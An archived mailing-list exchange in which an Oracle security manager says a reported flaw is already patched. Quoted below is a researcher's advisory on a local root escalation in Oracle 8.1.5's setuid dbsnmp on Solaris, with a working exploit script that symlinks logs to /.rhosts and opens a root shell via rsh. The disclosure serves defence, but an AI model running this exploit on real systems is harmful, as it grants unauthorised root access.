Hi Brock
Your note concerning a possible security vulnerability in Oracle (text
below) was forwarded to me. This vulnerability has indeed been diagnosed
and fixed already. Here is the scoop on where you can obtain fixes:
SUPPORTED CUSTOMERS:
The alert and 5 patches are posted on metalink:
- URL: http://metalink.oracle.com/
UNSUPPORTED CUSTOMERS:
The alert and 5 patches are posted on OTN:
- URL: http://technet.oracle.com/
This was also issued as an ISS alert.
Regarding your comment about reporting these issues to Oracle, we do
have an internal process in place for expediting the way we handle
potential security vulnerabilities, but we believe it's best to have all
potential bugs come through Oracle World Wide Support first, after which
they are diagnosed, and expedited as required.
Thank you for your interest in Oracle and security.
Yours very truly,
Mary Ann Davidson
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mary Ann Davidson
Group Product Manager, Security
Server Technologies
Oracle Corporation
(650) 506 5464
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No ka moana ku'u mele; no na halu au e hula ai.
"From the ocean comes my song; of the waves I dance my dance."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OVERVIEW
A vulnerability exists in Oracle 8.1.5 for UN*X which may allow any
user
to obtain root privileges.
BACKGROUND
My testing was done with Oracle 8.1.5 on Solaris 2.6 SPARC edition.
This shouldn't make any difference, however, and I would consider any
UNIX Oracle implementation to be exploitable.
DETAILS
When run without ORACLE_HOME being set, dbsnmp (suid root/sgid dba by
default) will dump two log files out into pwd, dbsnmpc and dbsnmpt .
If
these files do not exist, dbsnmpd will attempt to create them mode 666
and dump around 400 bytes of uncontrolable output into them. If the
files do exist, dbsnmp will append these 400 bytes but not change the
permissions. Thus if root does not have an .rhosts file, we can obtain
root privs by creating a symlink from /tmp/dbsnmpc to /.rhosts. One
thing to note about the exploit is that on my particular
implementation,
a normal user does not have read access above /product/ in the Oracle
path (something like /u01/app/oracle/product/8.1.5/bin/dbsnmp). This
won't prevent you from running the exploit since the execute bit is set
for world on all of Oracle's directories, but you may have to guess
about the location of dbsnmp. This can usually done by examining the
process list for Oracle entries.
EDITORIAL
One small rant about Oracle is their ridiculously complicated bug
reporting scheme, which asks you 2814 questions and allows you ONE line
of text to explain your problem. In this day and age, I don't
understand why every major software vendor doesn't have something as
simple as a mailto securityat_private SOMEWHERE on their site. In
fact, when I searched Oracle's web page, I got zero hits on the word
"security". Perhaps this address does exist and a bugtraq reader would
care to enlighten me.
EXPLOIT
oracle8% uname -a; id
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
SUNW,Ultra-5_10
uid=102(btellier) gid=10(staff)
oracle8% /tmp/oracle.sh
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
#
--- oracle.sh ---
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You'll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellierat_private
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:13:27 PDT